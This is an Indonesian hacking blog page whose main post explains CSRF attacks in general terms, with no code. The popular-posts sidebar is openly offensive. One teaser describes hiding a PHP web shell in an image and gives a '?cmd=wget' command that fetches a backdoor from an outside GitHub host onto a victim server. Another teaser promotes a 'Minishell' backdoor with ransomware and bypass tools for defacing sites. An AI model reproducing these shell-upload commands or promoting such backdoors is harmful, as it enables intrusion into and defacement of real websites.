Langsung ke konten utama

Apa Itu CSRF?


./CryMera



Mengenal Apa Sih CSRF (Cross Site Request Forgery) itu?

Mungkin kita sudah pernah mendengar apa itu CSRF (Cross Site Request Forgery) adalah sebuah serangan pada website yang dieksekusi atas wewenang korban, tanpa dikehendakinya.

Celah keamanan CSRF telah dikenal sejak 1990-an dalam beberapa kasus eksploitasi, dan tetap mengancam sampai saat ini, seiring dengan semakin Banyaknya berbagai website dengan teknologi dan fiturnya masing-masing. CSRF merupakan pemalsuan request yang berasal dari site yang berbeda, tetapi dari sisi client tidak mengubah alamat IP karena memang dieksekusi oleh korban.



Penyerang mengirimkan link atau halaman berisi request tersembunyi pada pengguna (korban), yang dieksekusi oleh penggunan tersebut ke website target. Dalam menyusun serangan, penyusun akan mempelajari terlebih dahulu kelemahan-kelemahan website target yang dapat dimanfaatkan dengan teknik CSRF.
Website yang menyimpan cookies sehingga mengizinkan pengguna untuk datang kembali tanpa mengetikkan username dan password, akan menarik perhatian menyerang untuk lebih mengekplorasi fitur-fitur yang terdapat pada website setelah login.

Eksplorasi berikutnya adalah melihat fitur apa saja yang disediakan website, mungkin berbentuk form atau button/link yan dapat di submit. Penyerang akan melihat fungsinya, aksi-aksi sensitif seperti delete account, change password, mengubah preferensi, dan sebagainya, akan menarik perhatian penyerang untuk dimanfaatkan bagi kepentingan bagi penyerang.
Label:

Postingan populer dari blog ini

Shell Image Format php

{ ItsTeam Sec }  Inject Shell Ke Gambar By ./CryMera  Gunanya? nah Jadi Kalau Kalian Pen Upload Backdoor Tapi Cuman Bisa Image..nah Coba deh upload Ni Image Dulu Kalau Upload Image Ini Kalian Masukan Command (?cmd=wget -O https://raw.githubusercontent.com/ItsTeamSec/Shell/master/sec.php) otomatis shell akan ke upload ke web tsb Jadi tinggal Akses Aja misal kalian upload shell image ini dimana nah disana juga shellny ke upload note : gak semua web bisa di giniin kek aku,aku gk bisa di gituin :v *hiks Command Upload Shell : ?cmd=wget -O https//raw.githubusercontent.com/ItsTeamSec/Shell/master/sec.php Gas Download Aja Langsung Shell Nya Disini https://anonymousfiles.io/SpEHE9J2/
1 komentar
Baca selengkapnya

Minishell Backdoor 2020

Assalamualaikum para heker2 indo dan kawan-kawan yang lagi baca artikel ini Kalian pasti tau kan apa itu shell backdoor? Ya pasti tau lah Kalo gk tau pasti klean gk bakal liat nih artikel :v Banyak jenis jenis shell backdoor untuk web tapi terkadang shell yang size nya gede gak bisa di upload karna over size  Nah pasti otak index kalian pen cari shell yang size nya kecil dan tools nya banyak,, Fix anda pintar telah mengunjungi blog ini We sebagai ./Fake Root yang baik hati dan selalu berbagi mau membagikan MINISHELL backdoor yang dimana shell ini berukuran kecil dan mempunyai banyak tools seperti [ ransomware,symlink,adminer,zone-h,bypass disable,jumping,password hash,command ] Oke dah gosah banyak cingcong  Langsung ja download file nya di bawah Klick ==>  Minishell-hemker Jangan lupa cuk Kalo deface titip nick w ya ./Fake Root Thank for reading #shellweb #minishell #defacer #hacker #webshell #backdoor #indonesian_defacer
Posting Komentar
Baca selengkapnya

Penanganan Barang Bukti Digital di Indonesia

  Kita ketahui bersama bahwa kejagatan siber atau cybercrime semakin meningkat. Indonesia sebagai negara berkembang terkena dampaknya. Kejahatan yang sering terjadi akhir-akhir ini bukan hanya yang bersifat konvensional saja, namun kejahatan siber sangat berkembang. Kita lihat contoh pada beberapa tahun terakhir ini yakni dari kasus pembajakan web, penipuan online sampai pada kasus peretasan sebuah situs tiket online yang merugikan pihak penyedia situs sebesar 4 milyar rupiah. Dari pengungkapan kasus kejahatan siber kita kenal ada istilah barang bukti digital yang bisa saja berupa perangkat elektronik, bisa juga berupa data digital. Peraturan Kepala Kepolisian Republik Indonesia No. 10 Tahun 2009 mengatur tentang bagaimana penanganan terhadap barang bukti digital yang bersifat gampang dimanipulasi ini. Aturan tersebut menjelaskan bagaimana cara dan syarat permintaan pemeriksaan teknis kriminal tempat kejadian perkara dan laboratoris kriminal barang bukti kepada laboraturium fo...
Posting Komentar
Baca selengkapnya